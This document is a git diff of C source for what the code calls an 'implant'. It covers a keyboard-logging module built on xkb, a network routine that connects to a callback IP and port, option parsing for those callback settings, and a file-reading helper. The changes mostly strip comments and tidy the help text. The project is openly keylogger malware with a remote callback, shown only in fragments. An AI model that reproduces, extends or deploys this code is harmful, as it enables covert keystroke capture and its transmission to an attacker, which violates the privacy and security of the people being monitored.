diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -1,9 +1,4 @@
-/*
- key-logging is done here......yeah
-*/
-
-
#include "implant.h"
#include <alloca.h>
#include <bits/types/struct_timeval.h>
@@ -86,7 +81,6 @@ static int log_keyboard(int fd, struct xkb_state *state, char *key_desc_ptr[STRI
xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
#ifdef DEBUG
- /* tracing this in stdout so that errors can be cleanly sent to a file */
printf("[+] Key pressed: %s\n", *key_desc_ptr);
#endif
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -98,7 +98,7 @@ int init_remote_connection(implant_t *instance) {
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(instance->port),
- .sin_addr.s_addr = inet_addr(instance->ip) /* FIXME(djnn): support for domain names */
+ .sin_addr.s_addr = inet_addr(instance->ip)
};
@@ -119,7 +119,6 @@ int init_remote_connection(implant_t *instance) {
return -1;
}
- /* connecting to remote server */
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
#ifdef DEBUG
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -1,6 +1,6 @@
/*
program's imput handling is handled here.
- */
+*/
#include <getopt.h>
@@ -13,7 +13,7 @@
static void help_mode(char const *binary_path) {
#ifdef DEBUG
- printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n-n\tNo network connection", binary_path);
+ printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n\t-n\tDisable network connection (for debug)\n", binary_path);
#else
(void)binary_path;
#endif
@@ -34,18 +34,15 @@ int parse_user_input(int ac, char **av, implant_t *settings) {
switch (c) {
#ifdef DEBUG
- /* allow debug mode not to have a remote connection for testing */
case 'n':
settings->disable_net = 1;
break;
#endif
case 'i':
- /* we got an IP address */
strncpy((char *)&settings->ip, optarg, 255);
break;
case 'p':
- /* we got a port */
settings->port = (unsigned short)strtoul(optarg, NULL, 0);
break;
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -21,9 +21,7 @@
#include <ctype.h>
#include <stdio.h>
-/*
- just a little utility function to read a generic text file.
-*/
+
int read_file(char const *path, char **buffer) {
int fd = open(path, O_RDONLY);
@@ -34,7 +32,7 @@ int read_file(char const *path, char **buffer) {
return ERROR;
}
- // could use fseek but stat is posix so let's use that
+ /* could use fseek but stat is posix so let's use that */
struct stat st;
if (0 > fstat(fd, &st)) {
#ifdef DEBUG
| | | |